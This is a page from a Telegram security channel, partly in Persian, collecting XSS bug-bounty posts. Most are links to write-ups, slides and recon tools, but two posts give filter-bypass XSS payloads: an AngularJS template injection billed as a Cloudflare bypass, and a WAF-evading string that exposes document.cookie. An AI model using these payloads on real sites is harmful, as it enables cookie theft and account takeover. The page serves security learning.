Network Security Channel
@Engineer_Computer
2.57K subscribers
5.33K photos
3.42K videos
5.56K files
4.44K links
شروع از سال 1395
✅ Security Operation Center (SOC)
✅ Bug Bounty
✅ Vulnerability
✅ Pentest
✅ Hardening
✅ Linux
✅ Reasearch
✅ Security Network
✅ Security Researcher
✅ DevSecOps
✅ Blue Team
✅ Red Team
Download Telegram
About
Blog
Apps
Platform
Join
Network Security Channel
2.57K subscribers
Network Security Channel
POJSON #leak #xss

Collection of easily customizable XSS payloads

Download 👇👇
کانال آموزش کامپیوتر
@Engineer_Computer
277 views
Network Security Channel
Cloudflare bypass & template injection to XSS in one shoot

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

#cloudflare #bypass #xss
—————
کانال آموزش کامپیوتر
@Engineer_Computer
168 views
Network Security Channel
Cheet Sheet for Endpoint Security

#security #xss #sql #template #idor
کانال آموزش کامپیوتر
@Engineer_Computer
127 views
Network Security Channel
XSS WAF Bypass using location concatenation:

Payload:
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">

#bugbounty #bugbountytips #xss #xssbypass
@Engineer_Computer
106 views
Network Security Channel
⭕️ Discovery of an XSS on Opera

هانتر تو این مقاله از متدولوژی خودش که باهاش تونسته رو Opera آسیب پذیری XSS پیدا کنه میگه.
https://infosecwriteups.com/discovery-of-an-xss-on-opera-f029f6522ec5

Quickly Subdomain Discovery
- https://subdomainfinder.c99.nl/
Subdomain Brute Force
- https://github.com/guelfoweb/knock
Content Discovery
- https://github.com/projectdiscovery/katana/
- https://github.com/tomnomnom/waybackurls


#BugBounty #XSS #Recon
@Engineer_Computer
Medium
Discovery of an XSS on Opera
Discovering XSS in large companies is one of my hobbies. Today I want to talk about Opera XSS which took 15 minutes. The power of finding…
🔥1
137 views
Network Security Channel
تو پروسه آموزش و یاددادن همیشه کلی چیز برای یادگیری هست✌️🏻
دارم یه اپ Vue آسیب پذیر آماده میکنم برای آموزش XSS in Vue.js بعد متوجه شدم این XSS ای که از طریق javascript scheme تو attribute href رخ میده زمانی که اتریبیوت target برابر blank_ باشه دیگ آسیب پذیر نیست
مثالش تو عکس بالا

#AppSec #XSS #web_security
@Engineer_Computer
👍1
120 views
Network Security Channel
XSS in Vue.js - Security Flaws.pdf
1 MB
#AppSec #XSS #web_security #Vue #Slides
@Engineer_Computer
151 views
Network Security Channel
XSS Validator-Burpsuite.pdf
2.4 MB
XSS Validator-Burpsuite
#xss #burp
@Engineer_Computer
480 views
Network Security Channel
⭕ Reversing Citrix Gateway for XSS

تو این مقاله از assetnote به ریورس کردن باینری critix gateway و پیدا کردن یه crlf injection پرداخته میشه که‌ منجر به یه pre-auth xss میشه

https://blog.assetnote.io/2023/06/29/binary-reversing-citrix-xss/

#XSS #ghidra #research

@Engineer_Computer
113 views
Network Security Channel
⭕️ Axigen WebMail 0-Day: Stealing User Emails through XSS

https://medium.com/@amir_h_fallahi/axigen-webmail-0-day-stealing-user-emails-through-xss-728de6782e85

#XSS #Axigen #Unpatched
@Engineer_Computer
Medium
Axigen WebMail 0-Day: Stealing User Emails through XSS
A 0-Day vulnerability in the Axigen WebMail product allows attackers to steal user emails just by one click
111 views